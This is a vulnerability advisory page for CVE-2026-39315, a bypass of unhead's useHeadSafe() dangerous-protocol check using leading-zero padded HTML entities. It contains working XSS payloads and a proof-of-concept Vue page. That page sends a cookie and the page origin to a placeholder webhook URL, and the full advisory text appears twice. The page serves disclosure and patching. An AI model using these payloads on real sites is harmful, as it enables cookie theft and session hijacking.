CVE-2026-39315: Unhead Unhead Has A HasDangerousProtocol() Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-95h2-gj7x-gx9w
Share
CVSS 6.1
CWE-184
Published
Advisory Summary

CVE-2026-39315 is a MODERATE (CVSS 6.1) unhead has a hasdangerousprotocol() bypass vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Unhead libraries in the npm ecosystem. The issue involves unhead has a hasdangerousprotocol() bypass via leading-zero padded html entities in useheadsafe(). Remediation is available by upgrading affected packages to version 2.1.13.

CVE-2026-39315 at a Glance

CVE Identifier CVE-2026-39315
GHSA Identifier GHSA-95h2-gj7x-gx9w
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-184: Incomplete List of Disallowed Inputs
Affected Product Unhead
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-39315

To remediate this vulnerability, upgrade all affected Unhead dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

unhead fixed: 2.1.13 
npm install unhead@2.1.13
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls unhead

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-39315, inspect your project dependencies using npm:

npm ls unhead

Analyze the terminal output to locate any version of Unhead in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.13), your application is affected.

Note: The npm ls unhead command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Unhead, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

##EVIDENCE <img width="1900" height="855" alt="Screenshot_2026-03-25_090729" src="https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50" /> <img width="1919" height="947" alt="Screenshot_2026-03-25_090715" src="https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40" /> <img width="1918" height="925" alt="Screenshot_2026-03-25_090759" src="https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c" /> <img width="1912" height="812" alt="Screenshot_2026-03-25_090824" src="https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0" /> <img width="1846" height="409" alt="Screenshot_2026-03-22_090617" src="https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9" /> | **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) | | **Cross-reported here** | 2026-04-03 | --- ## Summary `useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in `<head>` safely. Internally, the `hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes HTML entities before checking for blocked URI schemes (`javascript:`, `data:`, `vbscript:`). The decoder uses two regular expressions with fixed-width digit caps: ```js // Current — vulnerable const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi const HtmlEntityDec = /&#(\d{1,7});?/g ``` The HTML5 specification imposes **no limit** on leading zeros in numeric character references. Both of the following are valid, spec-compliant encodings of `:` (U+003A): - `&#0000000058;` — 10 decimal digits, exceeds the `\d{1,7}` cap - `&#x000003A;` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to `startsWith('javascript:')`, which does not match. `makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. > **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, > which was an attribute *key* injection via the `data-*` prefix. This finding targets > the attribute *value* decoder — a different code path with a different root cause and > a different fix. --- ## Root Cause Analysis ### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11) ```js const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max const HtmlEntityDec = /&#(\d{1,7});?/g // cap: 7 decimal digits max ``` ### Why the bypass works The HTML5 parser specification ([§ Numeric character reference end state][html5-spec]) states that leading zeros in numeric character references are valid and the number of digits is unbounded. A conformant browser will decode `&#x000003A;` as `:` regardless of the number of leading zeros. Because the regex caps are lower than the digit counts an attacker can supply, the entity match fails silently. The raw padded string (`java&#0000000058;script:alert(1)`) is passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`, and the value is rendered into SSR output verbatim. The browser then decodes the entity and the blocked scheme is present in the live DOM. --- ## Steps to Reproduce ### Environment - **Nuxt:** 4.x (current) - **unhead:** 2.1.12 (current at time of report) - **Node:** 20 LTS - **Chrome:** 146+ ### Step 1 — Create a fresh Nuxt 4 project ```bash npx nuxi init poc cd poc npm install ``` ### Step 2 — Replace `pages/index.vue` ```vue <template> <div> <h1>useHeadSafe bypass PoC</h1> <p>View page source or run the curl command below.</p> </div> </template> <script setup> import { useHeadSafe } from '#imports' useHeadSafe({ link: [ // 10-digit decimal padding — exceeds \d{1,7} cap { rel: 'stylesheet', href: 'java&#0000000058;script:alert(1)' }, // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap { rel: 'icon', href: 'data&#x000003A;text/html,<script>alert(document.cookie)<\/script>' } ] }) </script> ``` ### Step 3 — Start the dev server and inspect SSR output ```bash npm run dev ``` In a separate terminal: ```bash curl -s http://localhost:3000 | grep '<link' ``` ### Expected result (safe) Tags stripped entirely, or schemes rewritten to safe placeholder values. ### Actual result (vulnerable) ```html <link href="java&#0000000058;script:alert(1)" rel="stylesheet"> <link href="data&#x000003A;text/html,<script>alert(document.cookie)<\/script>" rel="icon"> ``` Both `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()` blocklist — are present in server-rendered HTML. The browser decodes the padded entities natively on load. --- ## Confirmed Execution Path (data: URI via iframe, Chrome 146+) Immediate script execution from `<link>` tags does not occur automatically — browsers do not create a browsing context from `<link href>`. The exploitability of this bypass therefore depends on whether downstream application code consumes `<link>` href values. This is a **common pattern** in real-world Nuxt applications: - Head management libraries that hydrate or re-process `<link>` tags on the client - SEO and analytics scripts that read canonical or icon link values - Application features that preview, validate, or forward link URLs into iframes - Developer tooling that loads icon URLs for thumbnail generation Chrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:` navigation has been blocked since Chrome 60. The following snippet — representative of any downstream consumer that forwards `<link href>` into an iframe — triggers confirmed script execution: ```js // Simulates downstream head-management or SEO utility reading a <link> href const link = document.querySelector('link[rel="icon"]'); if (link) { const iframe = document.createElement('iframe'); iframe.src = link.href; // browser decodes &#x000003A; → ':', constructs data: URI document.body.appendChild(iframe); // alert() fires } ``` ### Full PoC with cookie exfiltration beacon > Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running. ```vue <template> <div> <h1>useHeadSafe padded entity bypass — full PoC</h1> <p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p> </div> </template> <script setup> import { useHeadSafe } from '#imports' import { onMounted } from 'vue' onMounted(() => { document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None' const el = document.getElementById('cookie-display') if (el) el.textContent = document.cookie // Simulate downstream consumption: load the bypassed icon href into an iframe const link = document.querySelector('link[rel="icon"]') if (link) { const iframe = document.createElement('iframe') iframe.src = link.href iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px' document.body.appendChild(iframe) } }) const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE' useHeadSafe({ link: [ { rel: 'icon', href: `data&#x000003A;text/html;base64,${btoa(` <!DOCTYPE html><html><body><script> alert('XSS via useHeadSafe padded entity bypass'); new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({ finding: 'useHeadSafe hasDangerousProtocol bypass', cookie: document.cookie || 'session=super-secret-token-12345 (dummy)', origin: location.origin, ts: Date.now() })); <\/script></body></html> `)}` } ] }) </script> ``` **Observed result:** 1. `alert()` fires from inside the iframe's `data:` document context 2. Webhook receives a GET request with the cookie value and origin in the query string 3. Page source confirms `&#x000003A;` is present unescaped in the SSR-rendered `<link>` tag > All testing was performed against a local Nuxt development environment on a personal > machine. Cookie values are dummy data. No production systems were accessed or targeted. --- ## Impact ### 1. Broken security contract Developers who follow Nuxt's own documentation and use `useHeadSafe()` for untrusted user input have no reliable protection against `javascript:`, `data:`, or `vbscript:` scheme injection when that input contains leading-zero padded numeric character references. The documented guarantee is silently violated. ### 2. Confirmed data: URI escape to SSR output A fully valid `data:text/html` URI now reaches server-rendered HTML. In applications where any downstream code reads and loads `<link href>` values (head management utilities, SEO tooling, icon preview features), this is **confirmed XSS** — the payload persists in SSR output and executes for every visitor whose browser triggers the downstream consumption path. ### 3. Forward exploitability If any navigation-context attribute (e.g. `<a href>`, `<form action>`) is added to the safe attribute whitelist in a future release, this bypass produces **immediately exploitable stored XSS** with no additional attacker effort, because the end-to-end bypass already works today. --- ## Suggested Fix Remove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()` function already validates that decoded codepoints fall within the valid Unicode range (`> 0x10FFFF || < 0 || isNaN → ''`), so unbounded digit matching introduces no new attack surface — it only ensures that all spec-compliant encodings of a codepoint are decoded before the scheme check runs. ```diff - const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi - const HtmlEntityDec = /&#(\d{1,7});?/g + const HtmlEntityHex = /&#x([0-9a-f]+);?/gi + const HtmlEntityDec = /&#(\d+);?/g ``` **File:** `packages/unhead/src/plugins/safe.ts`, lines 10–11 This is a minimal, low-risk change. No other code in the call path requires modification. --- ## Weaknesses | CWE | Description | |---|---| | **CWE-184** | Incomplete List of Disallowed Inputs | | **CWE-116** | Improper Encoding or Escaping of Output | | **CWE-20** | Improper Input Validation | --- ## References | Source | Link | |---|---| | HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state | | GHSA-46fp-8f5p-pf2c — Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c | | CVE-2026-26022 — Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ | | OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html | | Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations | | Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 | | Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |

CVE-2026-39315 Affected Unhead Versions

1 component(s)
Fixed Versions:
2.1.13
Product / Package Ecosystem Affected Versions Fixed Version
unhead
npm/unhead
npm
< 2.1.13
2.1.13

References

GitHub Advisory / Wiki ADVISORY
https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w
NVD — CVE-2026-39315 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-39315
Security Fix Commit FIX COMMIT
https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299
Unhead Source Repository REPOSITORY
https://github.com/unjs/unhead
Unhead Release RELEASE
https://github.com/unjs/unhead/releases/tag/v2.1.13

Frequently Asked Questions

What is CVE-2026-39315?
CVE-2026-39315 is a security vulnerability in Unhead involving Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe() under CWE-184: Incomplete List of Disallowed Inputs.
Which Unhead versions are affected?
Affected versions include releases prior to 2.1.13 across affected packages: unhead.
What version fixes CVE-2026-39315?
Upgrading to 2.1.13 (or the latest patched release for your respective branch) resolves the vulnerability.
Is unhead affected?
Yes, unhead is affected in releases prior to 2.1.13. Upgrade your dependency to 2.1.13 or later.
What is the CVSS score of CVE-2026-39315?
CVE-2026-39315 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-39315?
CVE-2026-39315 is classified under CWE-184: Incomplete List of Disallowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.).
How can I check npm dependencies for CVE-2026-39315?
Run the dependency tree command: 'npm ls unhead'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-95h2-gj7x-gx9w",
  "modified" : "2026-04-09T20:28:05Z",
  "published" : "2026-04-09T20:28:05Z",
  "aliases" : [ "CVE-2026-39315" ],
  "summary" : "Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()",
  "details" : "##EVIDENCE\n\n<img width=\"1900\" height=\"855\" alt=\"Screenshot_2026-03-25_090729\" src=\"https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50\" />\n<img width=\"1919\" height=\"947\" alt=\"Screenshot_2026-03-25_090715\" src=\"https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40\" />\n<img width=\"1918\" height=\"925\" alt=\"Screenshot_2026-03-25_090759\" src=\"https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c\" />\n<img width=\"1912\" height=\"812\" alt=\"Screenshot_2026-03-25_090824\" src=\"https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0\" />\n<img width=\"1846\" height=\"409\" alt=\"Screenshot_2026-03-22_090617\" src=\"https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9\" />\n\n\n| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |\n| **Cross-reported here** | 2026-04-03 |\n\n---\n\n## Summary\n\n`useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends\nfor rendering user-supplied content in `<head>` safely. Internally, the\n`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes\nHTML entities before checking for blocked URI schemes (`javascript:`, `data:`,\n`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:\n\n```js\n// Current — vulnerable\nconst HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi\nconst HtmlEntityDec = /&#(\\d{1,7});?/g\n```\n\nThe HTML5 specification imposes **no limit** on leading zeros in numeric character\nreferences. Both of the following are valid, spec-compliant encodings of `:` (U+003A):\n\n- `&#0000000058;` — 10 decimal digits, exceeds the `\\d{1,7}` cap\n- `&#x000003A;` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap\n\nWhen a padded entity exceeds the regex digit cap, the decoder silently skips it. The\nundecoded string is then passed to `startsWith('javascript:')`, which does not match.\n`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML\nparser decodes the padded entity natively and constructs the blocked URI.\n\n> **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,\n> which was an attribute *key* injection via the `data-*` prefix. This finding targets\n> the attribute *value* decoder — a different code path with a different root cause and\n> a different fix.\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)\n\n```js\nconst HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max\nconst HtmlEntityDec = /&#(\\d{1,7});?/g             // cap: 7 decimal digits max\n```\n\n### Why the bypass works\n\nThe HTML5 parser specification ([§ Numeric character reference end state][html5-spec])\nstates that leading zeros in numeric character references are valid and the number of\ndigits is unbounded. A conformant browser will decode `&#x000003A;` as `:` regardless\nof the number of leading zeros.\n\nBecause the regex caps are lower than the digit counts an attacker can supply, the\nentity match fails silently. The raw padded string (`java&#0000000058;script:alert(1)`)\nis passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`,\nand the value is rendered into SSR output verbatim. The browser then decodes the entity\nand the blocked scheme is present in the live DOM.\n\n---\n\n## Steps to Reproduce\n\n### Environment\n\n- **Nuxt:** 4.x (current)\n- **unhead:** 2.1.12 (current at time of report)\n- **Node:** 20 LTS\n- **Chrome:** 146+\n\n### Step 1 — Create a fresh Nuxt 4 project\n\n```bash\nnpx nuxi init poc\ncd poc\nnpm install\n```\n\n### Step 2 — Replace `pages/index.vue`\n\n```vue\n<template>\n  <div>\n    <h1>useHeadSafe bypass PoC</h1>\n    <p>View page source or run the curl command below.</p>\n  </div>\n</template>\n\n<script setup>\nimport { useHeadSafe } from '#imports'\n\nuseHeadSafe({\n  link: [\n    // 10-digit decimal padding — exceeds \\d{1,7} cap\n    { rel: 'stylesheet', href: 'java&#0000000058;script:alert(1)' },\n\n    // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap\n    { rel: 'icon', href: 'data&#x000003A;text/html,<script>alert(document.cookie)<\\/script>' }\n  ]\n})\n</script>\n```\n\n### Step 3 — Start the dev server and inspect SSR output\n\n```bash\nnpm run dev\n```\n\nIn a separate terminal:\n\n```bash\ncurl -s http://localhost:3000 | grep '<link'\n```\n\n### Expected result (safe)\n\nTags stripped entirely, or schemes rewritten to safe placeholder values.\n\n### Actual result (vulnerable)\n\n```html\n<link href=\"java&#0000000058;script:alert(1)\" rel=\"stylesheet\">\n<link href=\"data&#x000003A;text/html,<script>alert(document.cookie)<\\/script>\" rel=\"icon\">\n```\n\nBoth `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()`\nblocklist — are present in server-rendered HTML. The browser decodes the padded entities\nnatively on load.\n\n---\n\n## Confirmed Execution Path (data: URI via iframe, Chrome 146+)\n\nImmediate script execution from `<link>` tags does not occur automatically — browsers\ndo not create a browsing context from `<link href>`. The exploitability of this bypass\ntherefore depends on whether downstream application code consumes `<link>` href values.\n\nThis is a **common pattern** in real-world Nuxt applications:\n\n- Head management libraries that hydrate or re-process `<link>` tags on the client\n- SEO and analytics scripts that read canonical or icon link values\n- Application features that preview, validate, or forward link URLs into iframes\n- Developer tooling that loads icon URLs for thumbnail generation\n\nChrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`\nnavigation has been blocked since Chrome 60. The following snippet — representative\nof any downstream consumer that forwards `<link href>` into an iframe — triggers\nconfirmed script execution:\n\n```js\n// Simulates downstream head-management or SEO utility reading a <link> href\nconst link = document.querySelector('link[rel=\"icon\"]');\nif (link) {\n  const iframe = document.createElement('iframe');\n  iframe.src = link.href; // browser decodes &#x000003A; → ':', constructs data: URI\n  document.body.appendChild(iframe); // alert() fires\n}\n```\n\n### Full PoC with cookie exfiltration beacon\n\n> Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.\n\n```vue\n<template>\n  <div>\n    <h1>useHeadSafe padded entity bypass — full PoC</h1>\n    <p><strong>Dummy cookie:</strong> <code id=\"cookie-display\">Loading…</code></p>\n  </div>\n</template>\n\n<script setup>\nimport { useHeadSafe } from '#imports'\nimport { onMounted } from 'vue'\n\nonMounted(() => {\n  document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'\n  const el = document.getElementById('cookie-display')\n  if (el) el.textContent = document.cookie\n\n  // Simulate downstream consumption: load the bypassed icon href into an iframe\n  const link = document.querySelector('link[rel=\"icon\"]')\n  if (link) {\n    const iframe = document.createElement('iframe')\n    iframe.src = link.href\n    iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'\n    document.body.appendChild(iframe)\n  }\n})\n\nconst webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'\n\nuseHeadSafe({\n  link: [\n    {\n      rel: 'icon',\n      href: `data&#x000003A;text/html;base64,${btoa(`\n        <!DOCTYPE html><html><body><script>\n          alert('XSS via useHeadSafe padded entity bypass');\n          new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({\n            finding: 'useHeadSafe hasDangerousProtocol bypass',\n            cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',\n            origin: location.origin,\n            ts: Date.now()\n          }));\n        <\\/script></body></html>\n      `)}`\n    }\n  ]\n})\n</script>\n```\n\n**Observed result:**\n\n1. `alert()` fires from inside the iframe's `data:` document context\n2. Webhook receives a GET request with the cookie value and origin in the query string\n3. Page source confirms `&#x000003A;` is present unescaped in the SSR-rendered `<link>` tag\n\n> All testing was performed against a local Nuxt development environment on a personal\n> machine. Cookie values are dummy data. No production systems were accessed or targeted.\n\n---\n\n## Impact\n\n### 1. Broken security contract\n\nDevelopers who follow Nuxt's own documentation and use `useHeadSafe()` for untrusted\nuser input have no reliable protection against `javascript:`, `data:`, or `vbscript:`\nscheme injection when that input contains leading-zero padded numeric character\nreferences. The documented guarantee is silently violated.\n\n### 2. Confirmed data: URI escape to SSR output\n\nA fully valid `data:text/html` URI now reaches server-rendered HTML. In applications\nwhere any downstream code reads and loads `<link href>` values (head management\nutilities, SEO tooling, icon preview features), this is **confirmed XSS** — the payload\npersists in SSR output and executes for every visitor whose browser triggers the\ndownstream consumption path.\n\n### 3. Forward exploitability\n\nIf any navigation-context attribute (e.g. `<a href>`, `<form action>`) is added to the\nsafe attribute whitelist in a future release, this bypass produces **immediately\nexploitable stored XSS** with no additional attacker effort, because the end-to-end\nbypass already works today.\n\n---\n\n## Suggested Fix\n\nRemove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()`\nfunction already validates that decoded codepoints fall within the valid Unicode range\n(`> 0x10FFFF || < 0 || isNaN → ''`), so unbounded digit matching introduces no new\nattack surface — it only ensures that all spec-compliant encodings of a codepoint are\ndecoded before the scheme check runs.\n\n```diff\n- const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi\n- const HtmlEntityDec = /&#(\\d{1,7});?/g\n+ const HtmlEntityHex = /&#x([0-9a-f]+);?/gi\n+ const HtmlEntityDec = /&#(\\d+);?/g\n```\n\n**File:** `packages/unhead/src/plugins/safe.ts`, lines 10–11\n\nThis is a minimal, low-risk change. No other code in the call path requires modification.\n\n---\n\n## Weaknesses\n\n| CWE | Description |\n|---|---|\n| **CWE-184** | Incomplete List of Disallowed Inputs |\n| **CWE-116** | Improper Encoding or Escaping of Output |\n| **CWE-20** | Improper Input Validation |\n\n---\n\n## References\n\n| Source | Link |\n|---|---|\n| HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |\n| GHSA-46fp-8f5p-pf2c — Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c |\n| CVE-2026-26022 — Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |\n| OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |\n| Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations |\n| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |\n| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "unhead"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.13"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39315"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/unjs/unhead"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/unjs/unhead/releases/tag/v2.1.13"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-09T20:28:05Z",
    "nvd_published_at" : "2026-04-09T18:17:01Z"
  }
}